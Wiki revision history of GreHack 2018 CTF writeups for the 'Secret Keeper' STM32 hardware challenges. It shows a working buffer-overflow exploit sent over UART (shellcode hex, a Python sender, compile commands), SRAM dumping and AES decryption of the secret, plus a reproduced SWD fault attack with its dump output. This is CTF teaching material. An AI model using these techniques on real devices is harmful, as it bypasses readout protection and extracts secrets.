GreHack 2018 Writeups - Revision history

PhilippeTeuwen: /* Secret Keeper level 6 (501 points) */

2018-11-30T13:25:52Z

Secret Keeper level 6 (501 points)

PhilippeTeuwen: /* Secret Keeper level 6 (501 points) */

2018-11-24T11:31:18Z

Secret Keeper level 6 (501 points)

← Older revision		Revision as of 11:31, 24 November 2018
Line 610:		Line 610:
	</pre>		</pre>

	The dump too 14s. A full dump of the 64kb of Flash takes 23 min. (update: a tweaked version now takes < 8 min :) )		The dump too 14s. A full dump of the 64kb of Flash takes 23 min. (update: a tweaked version now takes < 2 min :) )

	<source lang=bash>		<source lang=bash>

PhilippeTeuwen: /* Secret Keeper level 3 (200 points) */

2018-11-24T11:30:36Z

Secret Keeper level 3 (200 points)

← Older revision		Revision as of 11:30, 24 November 2018
Line 329:		Line 329:
	</pre>		</pre>

	Third level is on a different hardware, a ~~STM32F030~~.		Third level is on a different hardware, a STM32F030C8T6.
	And this time, the Flash has been protected from dumping.		And this time, the Flash has been protected from dumping.
	<br>The firmware has been also bumped to a rv2.00.		<br>The firmware has been also bumped to a rv2.00.

PhilippeTeuwen: /* Secret Keeper level 6 (501 points) */

2018-11-23T18:42:50Z

Secret Keeper level 6 (501 points)

← Older revision		Revision as of 18:42, 23 November 2018
Line 610:		Line 610:
	</pre>		</pre>

	The dump too 14s. A full dump of the 64kb of Flash takes 23 min.		The dump too 14s. A full dump of the 64kb of Flash takes 23 min. (update: a tweaked version now takes < 8 min :) )

	<source lang=bash>		<source lang=bash>

PhilippeTeuwen: /* Secret Keeper level 6 (501 points) */

2018-11-23T18:05:33Z

Secret Keeper level 6 (501 points)

← Older revision		Revision as of 18:05, 23 November 2018
Line 550:		Line 550:
	Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html		Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html

	Update2: We managed to reproduce the attack :) we used a STM32NUCLEO-F072RB and remapped the GPIO (LEDs, Button, target power/swc/swd/reset) in their `swdFirmwareExtractor` implementation.		Update2: We managed to reproduce the attack :) we used a STM32NUCLEO-F072RB and remapped the GPIO (LEDs, Button, target power/swc/swd/reset) in their swdFirmwareExtractor implementation.

	As we had only the Level 5 board in your hands (Phil kindly gave it to us at the end of the CTF), we tried the attack on that board and not the Level 6 board, but besides the flag, the setup is exactly the same and both boards are in RDP level 1.		As we had only the Level 5 board in your hands (Phil kindly gave it to us at the end of the CTF), we tried the attack on that board and not the Level 6 board, but besides the flag, the setup is exactly the same and both boards are in RDP level 1.

PhilippeTeuwen: /* Secret Keeper level 6 (501 points) */

2018-11-23T18:04:38Z

Secret Keeper level 6 (501 points)

← Older revision		Revision as of 18:04, 23 November 2018
Line 549:		Line 549:

	Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html		Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html

			Update2: We managed to reproduce the attack :) we used a STM32NUCLEO-F072RB and remapped the GPIO (LEDs, Button, target power/swc/swd/reset) in their `swdFirmwareExtractor` implementation.

			As we had only the Level 5 board in your hands (Phil kindly gave it to us at the end of the CTF), we tried the attack on that board and not the Level 6 board, but besides the flag, the setup is exactly the same and both boards are in RDP level 1.

			We soldered an extra PIN on nRST to be able to reset the board programmatically.

			<pre>
			$ ./client.py /dev/ttyACM0 -s $((0x7c00)) --length $((0x2a+512)) --outfile wallet_hw500.bin
			Start address set to 0x00007C00
			Readout length set to 0x0000022C
			Hex output mode selected
			Little Endian mode enabled
			Flash readout started!

			0x00000000: 47 48 53 45 43 52 45 54 A9 68 4A 7E B2 2C CC 03 \|GHSECRET.hJ~.,..\|
			0x00000010: 09 96 8F 51 AB 0D E8 46 85 D0 6A AD F1 FF ED 9B \|...Q...F..j.....\|
			0x00000020: BA ED 3E 76 36 3E F6 97 03 01 F4 B7 BD C1 B6 9D \|..>v6>..........\|
			0x00000030: 8A D4 1B D9 5A 5A FA 9A D5 92 0F 95 55 83 B3 7C \|....ZZ......U..\|\|
			0x00000040: F4 05 F1 86 04 6E 30 A2 96 C5 F4 43 BD 50 4B 13 \|.....n0....C.PK.\|
			0x00000050: 9F E2 5A 04 96 C2 5B BB E5 95 F9 0E B7 7E 19 A5 \|..Z...[......~..\|
			0x00000060: 44 32 B1 52 0B 34 B9 C7 ED 85 E2 DF 7B C5 25 7B \|D2.R.4......{.%{\|
			0x00000070: 57 37 87 A9 D8 19 2A BE 54 85 F3 42 67 CA 41 C5 \|W7....*.T..Bg.A.\|
			0x00000080: 95 4A 90 74 CC A3 22 DB 7A B0 FE D2 8D DF 04 0E \|.J.t..".z.......\|
			0x00000090: 1E 98 4D 27 48 9C 97 55 0E 9F 36 05 40 EC 95 5D \|..M'H..U..6.@..]\|
			0x000000A0: 96 C9 AD 27 7C DF F4 B2 DE 2D BF CC 66 08 F1 AC \|...'\|....-..f...\|
			0x000000B0: D2 4B 00 D0 10 AD 54 2D 22 C8 EE DC 6C 98 D1 7E \|.K....T-"...l..~\|
			0x000000C0: B2 99 D0 2B 3A E1 3A FB 48 61 A4 11 DA 81 F6 4D \|...+:.:.Ha.....M\|
			0x000000D0: 9B EB 43 AB 1E 85 D3 27 2F 9C D6 13 BA 3D F5 B4 \|..C....'/....=..\|
			0x000000E0: C4 0D 11 E5 FF D9 D6 41 A3 80 E7 C5 A4 24 D3 71 \|.......A.....$.q\|
			0x000000F0: C9 00 18 E8 50 05 39 5E 1A 81 F2 C0 DA F5 BE 6D \|....P.9^.......m\|
			0x00000100: E9 6E 25 44 1C 8D 35 78 0A B0 13 65 4D 62 2B CE \|.n%D..5x...eMb+.\|
			0x00000110: 20 05 03 D7 69 62 48 5A 9A 1F 90 14 35 35 53 B0 \| ...ibHZ....55S.\|
			0x00000120: D4 FB 08 2A 61 8E D1 13 53 B9 64 AF 85 F7 26 F3 \|...*a...S.d...&.\|
			0x00000130: F2 BE EE C5 2E 08 CC 11 F9 60 A7 CE 6A 75 D8 49 \|.........`..ju.I\|
			0x00000140: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000150: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000160: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000170: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000180: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000190: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001A0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001B0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001C0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001D0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001E0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001F0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000200: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000210: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000220: DD 6A 88 AD 89 2A 89 90 91 0A 00 00

			End of data.

			Statistics:
			Attempts: 0x000000C8
			Success: 0x0000008B
			Failure: 0x0000003D

			Programm finished.
			</pre>

			The dump too 14s. A full dump of the 64kb of Flash takes 23 min.

			<source lang=bash>
			KEY=$(dd if=wallet_hw500.bin bs=1 skip=$((0x7c08-0x7c00)) count=32 2>/dev/null\|xxd -p\|tr -d "\n")
			dd if=wallet_hw500.bin bs=1 skip=$((0x7c2a-0x7c00)) count=512 2>/dev/null \| \
			openssl enc -d -aes-256-ecb -nopad -K $KEY
			</source>
			<pre>
			Ok, you find and exploit the last buffer overflow, nice job. Here is your flag GH18{ThatsHowYouRulezThemAll}.
			But it's not finish, download https://grehack.fr/data/2018/LjAITFtEKVaigfDrG59dCrY6A8yPFvek5CvU2JDO.tgz and go to level 6, the "insane" ultimate one.
			</pre>

			Remember it's level 5 flag, not level 6 ;)

	=Conclusions=		=Conclusions=

PhilippeTeuwen: /* Secret Keeper level 6 (501 points) */

2018-11-20T13:00:31Z

Secret Keeper level 6 (501 points)

← Older revision		Revision as of 13:00, 20 November 2018
Line 547:		Line 547:

	We didn't reach this level but from the previous challenge, we got all the source code and this rv4.00 seems indeed bug-free. Not sure there is a way besides things like fault injections...		We didn't reach this level but from the previous challenge, we got all the source code and this rv4.00 seems indeed bug-free. Not sure there is a way besides things like fault injections...

			Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html

	=Conclusions=		=Conclusions=

PhilippeTeuwen: Undo revision 10462 by PhilippeTeuwen (talk)

2018-11-19T14:56:04Z

Undo revision 10462 by PhilippeTeuwen (talk)

← Older revision		Revision as of 14:56, 19 November 2018
Line 451:		Line 451:
	As for the two previous challenges, the STM32 has been flashed with the Readout Protection activated (RDP level 1), we can not just use the st-link to dump the flash memory, but the SRAM can still be dumped.		As for the two previous challenges, the STM32 has been flashed with the Readout Protection activated (RDP level 1), we can not just use the st-link to dump the flash memory, but the SRAM can still be dumped.
	<br>This time the previous firmware has been patched, and the backdoor is not available anymore, so we looked for another entry point.		<br>This time the previous firmware has been patched, and the backdoor is not available anymore, so we looked for another entry point.
	<br>Using the UART over USB interface, we found that a long password (>70 chars) makes the software crash, so there was probably a possible buffer overflow, the crash being the return ~~adress~~ of the input function ~~that was~~ overwritten with the password.		<br>Using the UART over USB interface, we found that a long password (>70 chars) makes the software crash, so there was probably a possible buffer overflow, the crash being due to the return address of the input function overwritten with the password.

	So we decided to try injecting a shellcode into the password ~~input function~~, in order to copy the firmware in SRAM and then dump the SRAM. It would also have been possible to dump the firmware through the UART with the shellcode, but we didn't try this approach.		So we decided to try injecting a shellcode into the password, in order to copy the firmware in SRAM and then dump the SRAM with the st-link. It would also have been possible to dump the firmware through the UART with the shellcode, but we didn't try this approach.

	<br>Here is the code of the shellcode:		<br>Here is the code of the shellcode dumping the user data to the SRAM:

	<source lang=C>		<source lang=C>
Line 463:		Line 463:
	int address = 0x20000000;		int address = 0x20000000;
	int len = 0x1d00;		int len = 0x1d00;
	src = (unsigned char*)~~0x0~~;		src = (unsigned char*)0x7c00;
	dest = (unsigned char*)address;		dest = (unsigned char*)address;
	while(len--) {		while(len--) {
Line 471:		Line 471:
	}		}
	</source>		</source>

	TODO: changer l'adresse de source pour correspondre à la zone GHSECRET, plz :)

	<br>It can be compiled with the following commands:		<br>It can be compiled with the following commands:

	<source lang=bash>		<source lang=bash>
	arm-none-eabi-gcc -mthumb -OS -o shell0.elf -c shell0.c		arm-none-eabi-gcc -mthumb -Os -o shell0.elf -c shell0.c
	arm-none-eabi-objcopy -S -O binary shell0.elf shell0.bin		arm-none-eabi-objcopy -S -O binary shell0.elf shell0.bin
	</source>		</source>

	One of the difficulties was to find the address of the return pointer on the stack, as well as a constant ~~adress~~ to inject this shellcode in SRAM.		One of the difficulties was to find the address of the return pointer on the stack, as well as a constant address to inject this shellcode in SRAM.
	<br>We just ~~dumped~~ ~~the~~ ~~SRAM~~ ~~after~~ ~~writing~~ ~~several~~ ~~passwords~~, and we found our ~~passwords~~ at address ~~0x1DE8~~, so we ~~decided~~ to ~~put~~ our shellcode at ~~this~~ ~~address~~.		<br>We just tried several times to enter a password and dump the SRAM, and we found systematically our password at address 0x20001E6D, which is therefore the address where our shellcode will land. This explains why we copy only 0x1d00 bytes in our shellcode, to not overwrite the shellcode being executed.
	<br>As we didn't know precisely the ~~adress~~ of the return pointer to be overwritten, we padded our shellcode with a bunch of 0 and several occurrences of the address of the shellcode.		<br>As we didn't know precisely the address of the return pointer to be overwritten, we padded our shellcode with a bunch of zeroes and several occurrences of the address of the shellcode.
	<br>After several tries we ran out of time but we continued on the train back to Paris: it ~~seemed~~ that we forgot to put the 0x0d at the end of our payload, which was necessary to ~~exit~~ the ~~password~~ ~~input function~~ and ~~call~~ the caller, thus ~~trigerring~~ our shellcode :)		<br>After several tries we ran out of time but we continued on the train back to Paris: it appeared that we forgot to put the 0x0d ("\r") at the end of our payload, which was necessary to validate the entered password and return to the caller, thus triggering our shellcode :)

	Here is ~~the~~ python script ~~we used~~ to ~~successfuly~~ dump the flash around the "GHSECRET" area.		Here is a python script to dump the flash around the "GHSECRET" area.

	<source lang=python>		<source lang=python>
			#!/usr/bin/env python3
	TODO
			import serial
			ser = serial.Serial('/dev/ttyUSB0', 9600)
			ser.reset_input_buffer()
			print("press reset")
			for i in range(25):
			line = ser.readline()
			print("%04i"% i, line)
			print(ser.read(20))
			ser.write(b'\r')
			for i in range(8):
			line = ser.readline()
			print("%04i"% i, line)
			print(ser.read(8))
			ser.write(b'1')
			for i in range(1):
			line = ser.readline()
			print("%04i"% i, line)
			print(ser.read(20))
			# shellcode: copy 0x1d00 bytes from 0x7c00 to 0x20000000
			shell=bytes.fromhex("f8239922db01120204495918934200d1fee7187801330870f6e7c0460084ff1f")
			shell+=b"A"*(64-len(shell))
			# we observed pwd is present in SRAM at 0x20001e6d
			shell+=bytes.fromhex("6d1e0020")
			shell+=b'\r'
			ser.write(shell)
			</source>

			Then we dumped the SRAM
			<pre>
			$ st-flash --reset read dumpsram.bin 0x20000000 0x2000
			</pre>
			and decrypted the user data, as done in Level 4:

			<source lang=bash>
			KEY=$(dd if=dumpsram.bin bs=1 skip=$((0x7c08-0x7c00)) count=32 2>/dev/null\|xxd -p\|tr -d "\n")
			dd if=dumpsram.bin bs=1 skip=$((0x7c2a-0x7c00)) count=512 2>/dev/null \| \
			openssl enc -d -aes-256-ecb -nopad -K $KEY
	</source>		</source>
			<pre>
			Ok, you find and exploit the last buffer overflow, nice job. Here is your flag GH18{ThatsHowYouRulezThemAll}.
			But it's not finish, download https://grehack.fr/data/2018/LjAITFt"�(�hreg{5O.�6A8yPFvek5CvU2JDO.tgz and go to level 6, the "insane" ultimate one.
			</pre>
			We got the flag :)
			<br>But the URL got corrupted. There was apparently a write in begin of SRAM that corrupted at least one byte in one of the AES-256-ECB blocks.
			<br>A quick workaround is to choose a different source address so another ECB block will get corrupted. The full URL is:
			https://grehack.fr/data/2018/LjAITFtEKVaigfDrG59dCrY6A8yPFvek5CvU2JDO.tgz
			<br>And you'll find all the sources of all the challenges, including the next level!

	In ~~order~~ to dump the whole firmware, this operation should be repeated with different shellcodes in ~~which~~ ~~the~~ ~~address~~ ~~would~~ be ~~incremented~~ by ~~0x1D00~~ ~~each~~ ~~time~~.		If one wants to dump the whole firmware, this operation should be repeated with different shellcodes with different source addresses and be careful of the SRAM corruptions.

	=Secret Keeper level 6 (501 points)=		=Secret Keeper level 6 (501 points)=

PhilippeTeuwen: Reverted edits by PhilippeTeuwen (talk) to last revision by Zours

2018-11-19T14:25:51Z

Reverted edits by PhilippeTeuwen (talk) to last revision by Zours

← Older revision		Revision as of 14:25, 19 November 2018
Line 451:		Line 451:
	As for the two previous challenges, the STM32 has been flashed with the Readout Protection activated (RDP level 1), we can not just use the st-link to dump the flash memory, but the SRAM can still be dumped.		As for the two previous challenges, the STM32 has been flashed with the Readout Protection activated (RDP level 1), we can not just use the st-link to dump the flash memory, but the SRAM can still be dumped.
	<br>This time the previous firmware has been patched, and the backdoor is not available anymore, so we looked for another entry point.		<br>This time the previous firmware has been patched, and the backdoor is not available anymore, so we looked for another entry point.
	<br>Using the UART over USB interface, we found that a long password (>70 chars) makes the software crash, so there was probably a possible buffer overflow, the crash being ~~due to~~ the return ~~address~~ of the input function overwritten with the password.		<br>Using the UART over USB interface, we found that a long password (>70 chars) makes the software crash, so there was probably a possible buffer overflow, the crash being the return adress of the input function that was overwritten with the password.

	So we decided to try injecting a shellcode into the password, in order to copy the firmware in SRAM and then dump the SRAM ~~with the st-link~~. It would also have been possible to dump the firmware through the UART with the shellcode, but we didn't try this approach.		So we decided to try injecting a shellcode into the password input function, in order to copy the firmware in SRAM and then dump the SRAM. It would also have been possible to dump the firmware through the UART with the shellcode, but we didn't try this approach.

	<br>Here is the code of the shellcode ~~dumping the user data to the SRAM~~:		<br>Here is the code of the shellcode:

	<source lang=C>		<source lang=C>
Line 463:		Line 463:
	int address = 0x20000000;		int address = 0x20000000;
	int len = 0x1d00;		int len = 0x1d00;
	src = (unsigned char*)~~0x7c00~~;		src = (unsigned char*)0x0;
	dest = (unsigned char*)address;		dest = (unsigned char*)address;
	while(len--) {		while(len--) {
Line 471:		Line 471:
	}		}
	</source>		</source>

			TODO: changer l'adresse de source pour correspondre à la zone GHSECRET, plz :)

	<br>It can be compiled with the following commands:		<br>It can be compiled with the following commands:

	<source lang=bash>		<source lang=bash>
	arm-none-eabi-gcc -mthumb -Os -o shell0.elf -c shell0.c		arm-none-eabi-gcc -mthumb -OS -o shell0.elf -c shell0.c
			arm-none-eabi-objcopy -S -O binary shell0.elf shell0.bin
	</source>		</source>

	One of the difficulties was to find the address of the return pointer on the stack, as well as a constant ~~address~~ to inject this shellcode in SRAM.		One of the difficulties was to find the address of the return pointer on the stack, as well as a constant adress to inject this shellcode in SRAM.
	<br>We just ~~tried~~ ~~several~~ ~~times~~ to ~~enter~~ a ~~password and dump the SRAM~~, and we found ~~systematically~~ our ~~password~~ at address ~~0x20001E6D~~, ~~which is therefore the address where our shellcode will land. This explains why~~ we ~~copy~~ ~~only~~ ~~0x1d00 bytes in~~ our shellcode, to ~~not~~ ~~overwrite the shellcode being executed~~.		<br>We just dumped the SRAM after writing several passwords, and we found our passwords at address 0x1DE8, so we decided to put our shellcode at this address.
	<br>As we didn't know precisely the ~~address~~ of the return pointer to be overwritten, we padded our shellcode with a bunch of ~~zeroes~~ and several occurrences of the address of the shellcode.		<br>As we didn't know precisely the adress of the return pointer to be overwritten, we padded our shellcode with a bunch of 0 and several occurrences of the address of the shellcode.
	<br>After several tries we ran out of time but we continued on the train back to Paris: it ~~appeared~~ that we forgot to put the 0x0d ~~("\r")~~ at the end of our payload, which was necessary to ~~validate~~ the ~~entered~~ password and ~~return to~~ the caller, thus ~~triggering~~ our shellcode :)		<br>After several tries we ran out of time but we continued on the train back to Paris: it seemed that we forgot to put the 0x0d at the end of our payload, which was necessary to exit the password input function and call the caller, thus trigerring our shellcode :)

	Here is a python script to dump the flash around the "GHSECRET" area.		Here is the python script we used to successfuly dump the flash around the "GHSECRET" area.

	<source lang=python>		<source lang=python>
			TODO
	#!/usr/bin/env python3
	import serial
	ser = serial.Serial('/dev/ttyUSB0', 9600)
	ser.reset_input_buffer()
	print("press reset")
	for i in range(25):
	line = ser.readline()
	print("%04i"% i, line)
	print(ser.read(20))
	ser.write(b'\r')
	for i in range(8):
	line = ser.readline()
	print("%04i"% i, line)
	print(ser.read(8))
	ser.write(b'1')
	for i in range(1):
	line = ser.readline()
	print("%04i"% i, line)
	print(ser.read(20))
	# shellcode: copy 0x1d00 bytes from 0x7c00 to 0x20000000
	shell=bytes.fromhex("f8239922db01120204495918934200d1fee7187801330870f6e7c0460084ff1f")
	shell+=b"A"*(64-len(shell))
	# we observed pwd is present in SRAM at 0x20001e6d
	shell+=bytes.fromhex("6d1e0020")
	shell+=b'\r'
	ser.write(shell)
	</source>

	Then we dumped the SRAM
	<pre>
	$ st-flash --reset read dumpsram.bin 0x20000000 0x2000
	</pre>
	and decrypted the user data, as done in Level 4:

	<source lang=bash>
	KEY=$(dd if=dumpsram.bin bs=1 skip=$((0x7c08-0x7c00)) count=32 2>/dev/null\|xxd -p\|tr -d "\n")
	dd if=dumpsram.bin bs=1 skip=$((0x7c2a-0x7c00)) count=512 2>/dev/null \| \
	openssl enc -d -aes-256-ecb -nopad -K $KEY
	</source>		</source>
	<pre>
	Ok, you find and exploit the last buffer overflow, nice job. Here is your flag GH18{ThatsHowYouRulezThemAll}.
	But it's not finish, download https://grehack.fr/data/2018/LjAITFt"�(�hreg{5O.�6A8yPFvek5CvU2JDO.tgz and go to level 6, the "insane" ultimate one.
	</pre>
	We got the flag :)
	<br>But the URL got corrupted. There was apparently a write in begin of SRAM that corrupted at least one byte in one of the AES-256-ECB blocks.
	<br>A quick workaround is to choose a different source address so another ECB block will get corrupted. The full URL is:
	https://grehack.fr/data/2018/LjAITFtEKVaigfDrG59dCrY6A8yPFvek5CvU2JDO.tgz
	<br>And you'll find all the sources of all the challenges, including the next level!

	If ~~one wants~~ to dump the whole firmware, this operation should be repeated with different shellcodes ~~with~~ ~~different~~ ~~source~~ ~~addresses~~ ~~and~~ be ~~careful~~ of ~~the~~ ~~SRAM~~ ~~corruptions~~.		In order to dump the whole firmware, this operation should be repeated with different shellcodes in which the address would be incremented by 0x1D00 each time.

	=Secret Keeper level 6 (501 points)=		=Secret Keeper level 6 (501 points)=

PhilippeTeuwen: /* Secret Keeper level 5 (500 points) */

2018-11-19T14:25:29Z

Secret Keeper level 5 (500 points)

← Older revision		Revision as of 14:25, 19 November 2018
Line 476:		Line 476:
	<source lang=bash>		<source lang=bash>
	arm-none-eabi-gcc -mthumb -Os -o shell0.elf -c shell0.c		arm-none-eabi-gcc -mthumb -Os -o shell0.elf -c shell0.c
	arm-none-eabi-objcopy -S -O binary shell0.elf shell0.bin
	</source>		</source>

← Older revision		Revision as of 18:04, 23 November 2018
Line 549:		Line 549:

	Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html		Update: Slawomir [https://twitter.com/slawekja/status/1064592447983034372 suggested] to look at https://www.aisec.fraunhofer.de/en/FirmwareProtection.html

			Update2: We managed to reproduce the attack :) we used a STM32NUCLEO-F072RB and remapped the GPIO (LEDs, Button, target power/swc/swd/reset) in their `swdFirmwareExtractor` implementation.

			As we had only the Level 5 board in your hands (Phil kindly gave it to us at the end of the CTF), we tried the attack on that board and not the Level 6 board, but besides the flag, the setup is exactly the same and both boards are in RDP level 1.

			We soldered an extra PIN on nRST to be able to reset the board programmatically.

			<pre>
			$ ./client.py /dev/ttyACM0 -s $((0x7c00)) --length $((0x2a+512)) --outfile wallet_hw500.bin
			Start address set to 0x00007C00
			Readout length set to 0x0000022C
			Hex output mode selected
			Little Endian mode enabled
			Flash readout started!

			0x00000000: 47 48 53 45 43 52 45 54 A9 68 4A 7E B2 2C CC 03 \|GHSECRET.hJ~.,..\|
			0x00000010: 09 96 8F 51 AB 0D E8 46 85 D0 6A AD F1 FF ED 9B \|...Q...F..j.....\|
			0x00000020: BA ED 3E 76 36 3E F6 97 03 01 F4 B7 BD C1 B6 9D \|..>v6>..........\|
			0x00000030: 8A D4 1B D9 5A 5A FA 9A D5 92 0F 95 55 83 B3 7C \|....ZZ......U..\|\|
			0x00000040: F4 05 F1 86 04 6E 30 A2 96 C5 F4 43 BD 50 4B 13 \|.....n0....C.PK.\|
			0x00000050: 9F E2 5A 04 96 C2 5B BB E5 95 F9 0E B7 7E 19 A5 \|..Z...[......~..\|
			0x00000060: 44 32 B1 52 0B 34 B9 C7 ED 85 E2 DF 7B C5 25 7B \|D2.R.4......{.%{\|
			0x00000070: 57 37 87 A9 D8 19 2A BE 54 85 F3 42 67 CA 41 C5 \|W7....*.T..Bg.A.\|
			0x00000080: 95 4A 90 74 CC A3 22 DB 7A B0 FE D2 8D DF 04 0E \|.J.t..".z.......\|
			0x00000090: 1E 98 4D 27 48 9C 97 55 0E 9F 36 05 40 EC 95 5D \|..M'H..U..6.@..]\|
			0x000000A0: 96 C9 AD 27 7C DF F4 B2 DE 2D BF CC 66 08 F1 AC \|...'\|....-..f...\|
			0x000000B0: D2 4B 00 D0 10 AD 54 2D 22 C8 EE DC 6C 98 D1 7E \|.K....T-"...l..~\|
			0x000000C0: B2 99 D0 2B 3A E1 3A FB 48 61 A4 11 DA 81 F6 4D \|...+:.:.Ha.....M\|
			0x000000D0: 9B EB 43 AB 1E 85 D3 27 2F 9C D6 13 BA 3D F5 B4 \|..C....'/....=..\|
			0x000000E0: C4 0D 11 E5 FF D9 D6 41 A3 80 E7 C5 A4 24 D3 71 \|.......A.....$.q\|
			0x000000F0: C9 00 18 E8 50 05 39 5E 1A 81 F2 C0 DA F5 BE 6D \|....P.9^.......m\|
			0x00000100: E9 6E 25 44 1C 8D 35 78 0A B0 13 65 4D 62 2B CE \|.n%D..5x...eMb+.\|
			0x00000110: 20 05 03 D7 69 62 48 5A 9A 1F 90 14 35 35 53 B0 \| ...ibHZ....55S.\|
			0x00000120: D4 FB 08 2A 61 8E D1 13 53 B9 64 AF 85 F7 26 F3 \|...*a...S.d...&.\|
			0x00000130: F2 BE EE C5 2E 08 CC 11 F9 60 A7 CE 6A 75 D8 49 \|.........`..ju.I\|
			0x00000140: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000150: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000160: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000170: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000180: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000190: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001A0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001B0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001C0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001D0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001E0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x000001F0: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000200: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000210: DD 6A 88 AD 89 2A 89 90 91 0A A7 CE 6A 75 D8 49 \|.j...*......ju.I\|
			0x00000220: DD 6A 88 AD 89 2A 89 90 91 0A 00 00

			End of data.

			Statistics:
			Attempts: 0x000000C8
			Success: 0x0000008B
			Failure: 0x0000003D

			Programm finished.
			</pre>

			The dump too 14s. A full dump of the 64kb of Flash takes 23 min.

			<source lang=bash>
			KEY=$(dd if=wallet_hw500.bin bs=1 skip=$((0x7c08-0x7c00)) count=32 2>/dev/null\|xxd -p\|tr -d "\n")
			dd if=wallet_hw500.bin bs=1 skip=$((0x7c2a-0x7c00)) count=512 2>/dev/null \| \
			openssl enc -d -aes-256-ecb -nopad -K $KEY
			</source>
			<pre>
			Ok, you find and exploit the last buffer overflow, nice job. Here is your flag GH18{ThatsHowYouRulezThemAll}.
			But it's not finish, download https://grehack.fr/data/2018/LjAITFtEKVaigfDrG59dCrY6A8yPFvek5CvU2JDO.tgz and go to level 6, the "insane" ultimate one.
			</pre>

			Remember it's level 5 flag, not level 6 ;)

	=Conclusions=		=Conclusions=